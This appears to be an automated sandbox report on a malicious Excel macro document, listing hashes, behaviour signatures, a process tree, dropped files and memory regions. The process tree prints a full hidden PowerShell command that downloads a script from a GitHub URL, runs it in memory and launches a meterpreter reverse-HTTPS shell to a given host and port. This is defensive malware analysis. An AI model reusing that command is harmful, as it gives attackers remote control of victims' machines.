Analysis

  • max time kernel
    35s
  • max time network
    44s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-07-2024 21:24

General

  • Target

    ece01bde92192565ce629b469868c4d4cc74f6a828bd155ed3cf3071aa75c47e.xls

  • Size

    44KB

  • MD5

    ab098a36a56225c6fa52b9e5cde05d9a

  • SHA1

    a61090ac643357d768b61ab3e75b1613404c3c9e

  • SHA256

    ece01bde92192565ce629b469868c4d4cc74f6a828bd155ed3cf3071aa75c47e

  • SHA512

    5fbe7d2b58086babb32ed8060ee5ede73a939f90275b1a666cd54d63b5264c1df8b8ddbc0064d7259a6b79c03cecf414a10315e6389eef56db492c4b79d7a92a

  • SSDEEP

    768:jtvo+lzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJxSp5kuFlmQQpIvH9acc9acyL:jPk3hbdlylKsgqopeJBWhZFGkE+cL2N5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ece01bde92192565ce629b469868c4d4cc74f6a828bd155ed3cf3071aa75c47e.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:440
    • C:\Windows\SYSTEM32\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4172
      • C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1288
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5116

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    a26df49623eff12a70a93f649776dab7

    SHA1

    efb53bd0df3ac34bd119adf8788127ad57e53803

    SHA256

    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

    SHA512

    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1jtw3el.vft.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    8fe526167cb3aa13d6148e710ae23e85

    SHA1

    db4dcffb1a088f3b470a615a9cf643f4eb6afcb5

    SHA256

    b6a26a5c683362d534d1ffcb4be7e74976bc165025f4408d265ffbb261163c8e

    SHA512

    9c7f9746b835a5c98c2f4db8251ed283478393992a19162c419482aacb234ecc70f469bc64f58cb4fcf171a0034b5c4a11451a9b1e962b8422b5a95f1366db08

  • C:\Users\Public\config.vbs

    Filesize

    461B

    MD5

    ce52ab154163c511f0efa6a61e22ab64

    SHA1

    9f12cc215e15802eddcb02cb5370ef16b21fa3a6

    SHA256

    df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

    SHA512

    cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

  • memory/440-11-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-18-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-6-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-8-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-9-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-1-0x00007FFD4FAED000-0x00007FFD4FAEE000-memory.dmp

    Filesize

    4KB

  • memory/440-10-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-13-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-12-0x00007FFD0DA10000-0x00007FFD0DA20000-memory.dmp

    Filesize

    64KB

  • memory/440-5-0x00007FFD0FAD0000-0x00007FFD0FAE0000-memory.dmp

    Filesize

    64KB

  • memory/440-14-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-17-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-16-0x00007FFD0DA10000-0x00007FFD0DA20000-memory.dmp

    Filesize

    64KB

  • memory/440-19-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-22-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-21-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-20-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-7-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-15-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-26-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-29-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-32-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-37-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-0-0x00007FFD0FAD0000-0x00007FFD0FAE0000-memory.dmp

    Filesize

    64KB

  • memory/440-2-0x00007FFD0FAD0000-0x00007FFD0FAE0000-memory.dmp

    Filesize

    64KB

  • memory/440-73-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-72-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-62-0x00007FFD4FA50000-0x00007FFD4FC45000-memory.dmp

    Filesize

    2.0MB

  • memory/440-4-0x00007FFD0FAD0000-0x00007FFD0FAE0000-memory.dmp

    Filesize

    64KB

  • memory/440-68-0x00007FFD4FAED000-0x00007FFD4FAEE000-memory.dmp

    Filesize

    4KB

  • memory/440-3-0x00007FFD0FAD0000-0x00007FFD0FAE0000-memory.dmp

    Filesize

    64KB

  • memory/5116-49-0x000001DDB2FD0000-0x000001DDB3014000-memory.dmp

    Filesize

    272KB

  • memory/5116-48-0x000001DDB2BE0000-0x000001DDB2C02000-memory.dmp

    Filesize

    136KB